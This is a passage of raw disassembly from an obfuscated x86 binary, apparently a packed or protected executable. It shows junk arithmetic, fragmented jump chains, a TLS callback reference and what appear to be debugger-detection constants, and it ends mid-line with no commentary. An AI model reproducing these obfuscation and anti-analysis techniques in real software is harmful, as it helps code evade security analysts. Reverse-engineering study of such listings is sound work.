loc_42FC39 jmp loc_42A4A0 ; END OF FUNCTION CHUNK FOR sub_42970D ; =============== S U B R O U T I N E ======================================= sub_42C1EE proc near ; CODE XREF: sub_4262CE+9EBj ; wto1jq8f:00428426p ; FUNCTION CHUNK AT 0042785E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042EFCA SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add edx, 5B930D43h push eax pushf push 0AA87D923h pop eax add eax, 6E435791h jmp loc_42EFCA sub_42C1EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F8F loc_42C20B: ; CODE XREF: sub_427F8F+8j push offset loc_424958 jmp nullsub_245 ; END OF FUNCTION CHUNK FOR sub_427F8F ; --------------------------------------------------------------------------- loc_42C215: ; CODE XREF: wto1jq8f:0042ABECj jns loc_42E5FD ; =============== S U B R O U T I N E ======================================= sub_42C21B proc near ; CODE XREF: TlsCallback_0+B81p arg_0 = dword ptr 4 mov [esp+0], esi pop esi add ecx, 0D64256D3h xchg ecx, [esp-4+arg_0] jmp sub_42D993 sub_42C21B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42C22D: ; CODE XREF: sub_429BFF+4129j xor eax, 94B83481h jmp loc_424FE2 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_42C238: ; CODE XREF: sub_4260DB+BB4j pop eax xor eax, 0F6F5EA24h add eax, 595F4518h add eax, ebp call sub_429D4E loc_42C24C: ; CODE XREF: sub_4278BD+9j jmp loc_42FCE3 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D69D loc_42C251: ; CODE XREF: sub_42D69D:loc_42AC62j xchg esi, eax push 0F0A46567h pop esi xor esi, 28CEF3E5h add esi, 27D851F3h ; END OF FUNCTION CHUNK FOR sub_42D69D ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_42C265: ; CODE XREF: sub_42C0D7+3E26j xchg esi, [esp+0] jmp loc_42A7BA ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42655A loc_42C26D: ; CODE XREF: sub_42655A+34E4j jle loc_42DBD2 test ebx, 0E20BE5AEh jmp loc_429EAB ; END OF FUNCTION CHUNK FOR sub_42655A ; --------------------------------------------------------------------------- add ebx, ecx jmp loc_42953F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42C285: ; CODE XREF: sub_42C486+2195j jnz loc_42F0EB mov ebp, [edx] xor edx, 66CC6CA8h mov edx, ebx jmp loc_42F0E8 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CE9 loc_42C29A: ; CODE XREF: sub_428CE9+13j call sub_426C04 mov ds:dword_42A748, eax retn ; END OF FUNCTION CHUNK FOR sub_428CE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C507 loc_42C2A5: ; CODE XREF: sub_42C507+1Bj jmp loc_42BF60 ; END OF FUNCTION CHUNK FOR sub_42C507 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A9E loc_42C2AA: ; CODE XREF: sub_427A9E+6j mov byte ptr [eax], 0C3h jmp loc_424E42 ; END OF FUNCTION CHUNK FOR sub_427A9E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42C2B3: ; CODE XREF: sub_42C486:loc_4240D2j jb loc_42E33B sub eax, 824136DAh mov ebx, ecx jmp loc_42FC10 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- loc_42C2C6: ; DATA XREF: sub_4282FE+49FBo add edx, ebp call sub_42C01B ; START OF FUNCTION CHUNK FOR sub_4240DC loc_42C2CD: ; CODE XREF: sub_4240DC+1C01j jmp loc_427158 ; END OF FUNCTION CHUNK FOR sub_4240DC ; =============== S U B R O U T I N E ======================================= sub_42C2D2 proc near ; CODE XREF: sub_42EA31+Cj add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 jnz loc_42E4AD push offset loc_42A2AD jmp locret_426EDC sub_42C2D2 endp ; --------------------------------------------------------------------------- loc_42C2EF: ; CODE XREF: wto1jq8f:0042C063j and ecx, ebx jnz loc_42CCCE loc_42C2F7: ; CODE XREF: wto1jq8f:loc_429DE9j call sub_4272CB ; START OF FUNCTION CHUNK FOR sub_428A19 loc_42C2FC: ; CODE XREF: sub_428A19:loc_42C15Dj push eax push 0FA42CD23h add dword ptr [esp+0], 5BD331Dh lea eax, [ebp-64h] push eax push 0F0709A5Dh add dword ptr [esp+0], 0FCF65A3h pushf jmp loc_427E7A ; END OF FUNCTION CHUNK FOR sub_428A19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4294F4 loc_42C31F: ; CODE XREF: sub_4294F4+6734j add edx, ebp add edx, 9E674092h pushf push 640EFEE5h pop eax jmp loc_42F7F2 ; END OF FUNCTION CHUNK FOR sub_4294F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B3E loc_42C333: ; CODE XREF: sub_428B3E:loc_42797Cj add ebx, 1DEC48F4h loc_42C339: ; CODE XREF: sub_426C0C:loc_42D70Cj mov [ebx], edx push offset loc_4291C5 jmp loc_42D850 ; END OF FUNCTION CHUNK FOR sub_428B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42C345: ; CODE XREF: sub_42970D+1DAj jge loc_42764D jnp loc_428B47 jmp loc_4295CE ; END OF FUNCTION CHUNK FOR sub_42970D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42C356: ; CODE XREF: sub_42506F:loc_42420Bj ; wto1jq8f:00424220j add edi, 0A4EE1751h xchg edi, [esp+10h+var_10] jmp loc_42F043 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42C364: ; CODE XREF: sub_429471-B72j jnz loc_42B2C7 pop eax cmp eax, edi jmp loc_4260BF ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FACF loc_42C372: ; CODE XREF: sub_42FACF-B299j xor eax, ecx jmp loc_42DC03 ; END OF FUNCTION CHUNK FOR sub_42FACF ; =============== S U B R O U T I N E ======================================= sub_42C379 proc near ; DATA XREF: sub_4260DB+27E8o xor edx, edx cpuid push offset sub_426FD6 jmp nullsub_208 sub_42C379 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_42C387: ; CODE XREF: sub_42EFB5:loc_42B1AAj mov esp, ebp pop ebp mov eax, ds:dword_42ACFC or eax, eax jnz loc_4296AB jmp loc_4265A9 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42C39D: ; CODE XREF: sub_42F6A9-62F3j test esi, 40000000h jmp loc_424ECE ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42C3A8: ; CODE XREF: sub_42E9E8:loc_425F96j cmp dword ptr [ebp-4], 0 jnz loc_426AF5 loc_42C3B2: ; CODE XREF: wto1jq8f:0042B76Cj jmp loc_42AC6D ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E83D loc_42C3B7: ; CODE XREF: sub_42E83D:loc_427FE4j add eax, 6A80F6D8h push eax push esi push 0C662E4Bh pop esi jmp loc_4269DB ; END OF FUNCTION CHUNK FOR sub_42E83D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F23A loc_42C3CA: ; CODE XREF: sub_42F23A-4F08j sbb ebp, 708C33A6h xor edx, 0F7D59D75h mov esi, [ebp+0] loc_42C3D9: ; CODE XREF: sub_42F23A:loc_424504j mov eax, 80000002h xor ebx, ebx jmp loc_4288C1 ; END OF FUNCTION CHUNK FOR sub_42F23A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42C3E5: ; CODE XREF: sub_426E98:loc_42DFA7j inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 0 call sub_42CA12 loc_42C3F3: ; CODE XREF: sub_42FACF-1EB9j jmp loc_424112 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42C3F8: ; CODE XREF: sub_426C0C+1B09j jmp loc_42C964 ; END OF FUNCTION CHUNK FOR sub_426C0C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42C3FE: ; CODE XREF: sub_428333+386j jmp loc_42AFBF ; END OF FUNCTION CHUNK FOR sub_428333 ; --------------------------------------------------------------------------- or edi, eax mov ecx, 37F8AECEh jmp sub_42707F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ACD6 loc_42C40F: ; CODE XREF: sub_42ACD6:loc_42ACDFj cmp byte ptr [eax], 2Eh jnz loc_42CA1E mov eax, [ebp+var_20] mov byte ptr [eax], 64h jmp loc_42E5F5 ; END OF FUNCTION CHUNK FOR sub_42ACD6 ; =============== S U B R O U T I N E ======================================= sub_42C423 proc near ; CODE XREF: sub_426E98:loc_426EEEp ; wto1jq8f:0042B72Fj ; FUNCTION CHUNK AT 00427466 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E44A SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-0Ch] mov [ebp-1Ch], eax lea eax, [ebp-125h] mov [ebp-20h], eax jmp loc_427466 sub_42C423 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42C43B proc near ; CODE XREF: sub_4292B9-1631p ; wto1jq8f:0042EC98j ; FUNCTION CHUNK AT 00424455 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428CE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C6F4 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov ecx, [ecx] push edx pushf push 7F3AA739h pop edx xor edx, 7F3AA73Eh jmp loc_42C6F4 sub_42C43B endp ; sp-analysis failed ; --------------------------------------------------------------------------- push offset loc_42ED63 jmp locret_42E68B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42C45E: ; CODE XREF: sub_424D58+6j or eax, eax jnz loc_42A7EF call sub_42E0E6 ; END OF FUNCTION CHUNK FOR sub_424D58 ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42C46B: ; CODE XREF: sub_427A8D+8262j jmp loc_424A6E ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42C470: ; CODE XREF: sub_4266B1-CFDj jmp loc_42B285 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- loc_42C475: ; CODE XREF: wto1jq8f:loc_42DC99j xor ecx, ebx sub edx, ebx cmp edx, 1CF3C597h and ecx, ebx call sub_4259FF ; =============== S U B R O U T I N E ======================================= sub_42C486 proc near ; CODE XREF: sub_429BD3+56B1p ; wto1jq8f:0042F4EFj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004240C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004240CD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004242A4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004245C3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042469F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004249ED SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004250A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00425BD2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00425E55 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427181 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004276B5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427880 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427959 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00427981 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004279F3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00427D03 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00427D37 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427D7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428807 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004288DE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042906C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042928E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042955C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042974D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A0D3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042A1C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A2C6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A638 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB3A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AD77 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042AD95 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0042ADF5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042BBA1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042BBB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C285 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C2B3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C75A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CBAB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CEAD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D088 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D417 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042DA2D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042DB1A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DBF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DD90 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042DEAE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042E086 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E435 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E602 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042E6AA SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042E7BB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042F0E8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042F7C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F836 SIZE 00000013 BYTES xchg eax, [esp+0] pop eax loc_42C48A: ; CODE XREF: sub_42DB52:loc_426485j and ecx, 7 mov al, 1 shl al, cl push 87B8393Eh jmp loc_42E086 sub_42C486 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42C49B: ; CODE XREF: sub_426C0C+8B34j jb loc_426A48 pop esi loc_42C4A2: ; CODE XREF: sub_426C0C:loc_424CDDj lea eax, [ebp-25Ch] cmp dword ptr [eax], 47424454h jmp loc_428179 ; END OF FUNCTION CHUNK FOR sub_426C0C ; =============== S U B R O U T I N E ======================================= sub_42C4B3 proc near ; DATA XREF: sub_42F8A7+3o push eax lea eax, sub_42F360 push eax push 0 push 0 call sub_42F563 jmp loc_42D82A sub_42C4B3 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42C4CA: ; CODE XREF: sub_4244EA+749Bj jmp loc_42F65B ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= sub_42C4CF proc near ; CODE XREF: wto1jq8f:004267A9j ; sub_42F6A9-6D0Fp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042D578 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx add eax, esi xchg edx, [esp-4+arg_0] mov esi, edx pop edx mov ebp, [eax] jmp loc_42D578 sub_42C4CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42C4E2 proc near ; DATA XREF: sub_42E1D2+Do ; FUNCTION CHUNK AT 00426451 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429417 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042A398 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042C958 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042CD81 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042ECC0 SIZE 00000005 BYTES jnz loc_42A398 mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_42A398 cmp dword ptr [ebp-10h], 0 jnz loc_42C958 mov eax, [ebp+8] jmp loc_42CD81 sub_42C4E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C507 proc near ; CODE XREF: sub_42D910j ; FUNCTION CHUNK AT 00427F67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BF60 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0042C2A5 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx cmp ds:dword_42DB0C, 0 jnz loc_42BF6F call sub_427A9E call sub_424585 jmp loc_42C2A5 sub_42C507 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42C527: ; CODE XREF: sub_429B76:loc_42E635j xchg edi, [esp+8+var_8] jmp sub_42CB36 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- loc_42C52F: ; DATA XREF: sub_4274BEo mov [esp], eax call sub_42D765 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42C538: ; CODE XREF: sub_426968+4C5Cj jmp loc_427383 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- loc_42C53D: ; CODE XREF: wto1jq8f:0042A06Dj jmp sub_429165 ; --------------------------------------------------------------------------- loc_42C542: ; CODE XREF: wto1jq8f:00429C45j jmp loc_42CB88 ; =============== S U B R O U T I N E ======================================= sub_42C547 proc near ; CODE XREF: sub_429B76+1p ; wto1jq8f:0042DB69j ... ; FUNCTION CHUNK AT 00425A2C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D20A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042DB10 SIZE 00000005 BYTES call sub_4287D0 loc_42C54C: ; DATA XREF: wto1jq8f:0042C833o push eax rol eax, 3 loc_42C550: ; CODE XREF: wto1jq8f:loc_42A0A2j push ecx push 0E78D77F4h pop ecx jmp loc_42DB10 sub_42C547 endp ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] mov dword ptr [ecx], 10001h lea eax, loc_42F33C mov [ecx+0B8h], eax pop ecx jmp loc_42E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42C579: ; CODE XREF: sub_42506F+8546j jnz loc_425074 jmp loc_425CFF ; END OF FUNCTION CHUNK FOR sub_42506F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42C585: ; CODE XREF: sub_427A8D+25B7j jmp loc_42FA6C ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42C58A: ; CODE XREF: sub_42A909-586Bj jmp loc_427EEA ; END OF FUNCTION CHUNK FOR sub_42A909 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42C590: ; CODE XREF: sub_426D4F+4F21j jmp loc_42E8AA ; END OF FUNCTION CHUNK FOR sub_426D4F ; =============== S U B R O U T I N E ======================================= sub_42C595 proc near ; DATA XREF: wto1jq8f:0042A24Co push 6D819FAAh pop eax add eax, 436882DBh xor eax, 25549934h add eax, 6A84274Eh xchg eax, [esp+0] jmp sub_429165 sub_42C595 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42C5B6: ; CODE XREF: wto1jq8f:00428A62j jmp locret_427A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42C5BB: ; CODE XREF: sub_429D2E+Aj call sub_4281DD sub eax, ds:dword_42ACF0 shr eax, 11h jz loc_42E986 jmp loc_424A64 ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E961 loc_42C5D4: ; CODE XREF: sub_42A909:loc_4242E1j ; sub_42E961:loc_42F1F4j mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] push offset loc_4278CC jmp nullsub_167 ; END OF FUNCTION CHUNK FOR sub_42E961 ; --------------------------------------------------------------------------- loc_42C5E7: ; DATA XREF: sub_42CF6A:loc_426020o mov eax, 0E0h call sub_428183 jmp loc_426794 ; --------------------------------------------------------------------------- loc_42C5F6: ; CODE XREF: wto1jq8f:0042E15Fj jnz loc_42D569 call sub_42CB36 test al, al jmp loc_429201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E83D loc_42C608: ; CODE XREF: sub_42E83D:loc_4269DBj rol esi, 0Bh xor esi, 31725867h push offset loc_424FFE jmp loc_427A20 ; END OF FUNCTION CHUNK FOR sub_42E83D ; =============== S U B R O U T I N E ======================================= sub_42C61B proc near ; DATA XREF: sub_426313:loc_42DC52o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427C18 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042AE59 SIZE 00000005 BYTES push ebx push 22121368h pop ebx and ebx, 0B3BF2E6Dh loc_42C628: ; CODE XREF: sub_42ED32:loc_4287A5j jnz loc_427C18 loc_42C62E: ; CODE XREF: sub_42D397-1895j jmp nullsub_68 sub_42C61B endp ; --------------------------------------------------------------------------- and esi, 59608F85h jmp loc_427C16 ; --------------------------------------------------------------------------- mov edx, 277EFE57h call sub_429165 push eax rol eax, 0Eh push edi push 9B905E81h ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42C652: ; CODE XREF: sub_42D9D9-2D3Ej jmp loc_4289C7 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D1A8 loc_42C657: ; CODE XREF: sub_42D1A8:loc_428A9Aj cdq add eax, [esp+0] call sub_42606D ; END OF FUNCTION CHUNK FOR sub_42D1A8 ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42C660: ; CODE XREF: sub_42DEFF+16j jmp loc_42C72A ; END OF FUNCTION CHUNK FOR sub_42DEFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42C665: ; CODE XREF: sub_42E0FD-4AE3j jmp loc_42FF5B ; END OF FUNCTION CHUNK FOR sub_42E0FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42C66B: ; CODE XREF: sub_426535+38DEj jmp loc_424201 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42C670 proc near ; CODE XREF: wto1jq8f:004296D9j ; wto1jq8f:00429972p ; FUNCTION CHUNK AT 0042960E SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042CCE3 SIZE 00000005 BYTES mov [esp+0], ebx pop ebx push edx push 0CC65AEBh pop edx add edx, 0F37C95D5h jmp loc_42CCE3 sub_42C670 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42C686: ; CODE XREF: sub_42F6A9:loc_42DD6Fj mov eax, 1 shl eax, cl mov edx, [ebp-1Ch] shr edx, 3 jmp loc_42F458 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; =============== S U B R O U T I N E ======================================= sub_42C698 proc near ; CODE XREF: wto1jq8f:00424790j ; wto1jq8f:0042DA70p arg_0 = dword ptr 4 mov [esp+0], edx pop edx mov [esp-4+arg_0], eax push edi pop eax push offset loc_42DB6E jmp nullsub_250 sub_42C698 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266EF loc_42C6AC: ; CODE XREF: sub_4266EF+7ABFj jmp loc_42BEC6 ; END OF FUNCTION CHUNK FOR sub_4266EF ; =============== S U B R O U T I N E ======================================= sub_42C6B1 proc near ; CODE XREF: sub_42C6C3+1170p ; sub_424DA0+A420p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042A1AA SIZE 00000012 BYTES jnz loc_42A1AA xchg ebp, edi push edi xchg ebp, edi mov ebp, esp jmp loc_42BDAF sub_42C6B1 endp ; =============== S U B R O U T I N E ======================================= sub_42C6C3 proc near ; DATA XREF: sub_42760F:loc_42D48Co var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042484F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E74 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042979E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B261 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D81C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042E29C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E82E SIZE 00000005 BYTES add eax, 2F309CFCh mov eax, [eax] push eax call sub_42B855 mov eax, [ebp-4] jmp loc_42484F sub_42C6C3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42C6D9: ; CODE XREF: sub_42D4FD-2B1Bj jnz loc_42B16D jmp loc_42D564 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- push ebp mov ebp, eax xchg ebp, [esp] rol eax, 3 mov ds:dword_42F0B4, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C43B loc_42C6F4: ; CODE XREF: sub_42C43B+14j jmp loc_424455 ; END OF FUNCTION CHUNK FOR sub_42C43B ; =============== S U B R O U T I N E ======================================= sub_42C6F9 proc near ; CODE XREF: sub_42ACD6+4p ; FUNCTION CHUNK AT 0042E06C SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov esp, ebp pop ebp mov eax, ds:dword_42F084 loc_42C706: ; CODE XREF: sub_42B8FC:loc_42C129j push offset loc_42E9B0 jmp loc_42E06C sub_42C6F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42C710: ; CODE XREF: wto1jq8f:0042AD63j jz loc_42A4FD xchg edx, [ebx] jmp sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_42C71D: ; CODE XREF: sub_426842+1j ; wto1jq8f:0042AD58j jg loc_429EE5 test ebx, eax jmp loc_429700 ; END OF FUNCTION CHUNK FOR sub_426842 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42C72A: ; CODE XREF: sub_42DEFF:loc_42C660j add eax, ebp add eax, 6D7917C9h cmp dword ptr [eax], 4742444Fh jz loc_4265DB loc_42C73E: ; CODE XREF: sub_42CB36-7E23j ; sub_42E9E8-7EE9j ... jnb loc_42CABD cmp dword ptr [ebp-4], 2 jnz loc_426545 lea eax, [ebp-26Fh] jmp loc_427949 ; END OF FUNCTION CHUNK FOR sub_42DEFF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42C75A: ; CODE XREF: sub_42C486+C08j jmp loc_4245C3 ; END OF FUNCTION CHUNK FOR sub_42C486 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C75F proc near ; CODE XREF: sub_4276C3:loc_428897p push ebp mov ebp, esp push ecx mov esp, ebp mov ebp, offset loc_42EDDD xchg ebp, [esp+0] jmp nullsub_70 sub_42C75F endp ; --------------------------------------------------------------------------- loc_42C772: ; CODE XREF: wto1jq8f:00428FE3j jnz loc_42B4E8 jmp loc_42D16C ; --------------------------------------------------------------------------- push edi shl edi, 6 jmp sub_42F50F ; =============== S U B R O U T I N E ======================================= sub_42C786 proc near ; CODE XREF: wto1jq8f:00425F10j ; sub_42E076+9p ; FUNCTION CHUNK AT 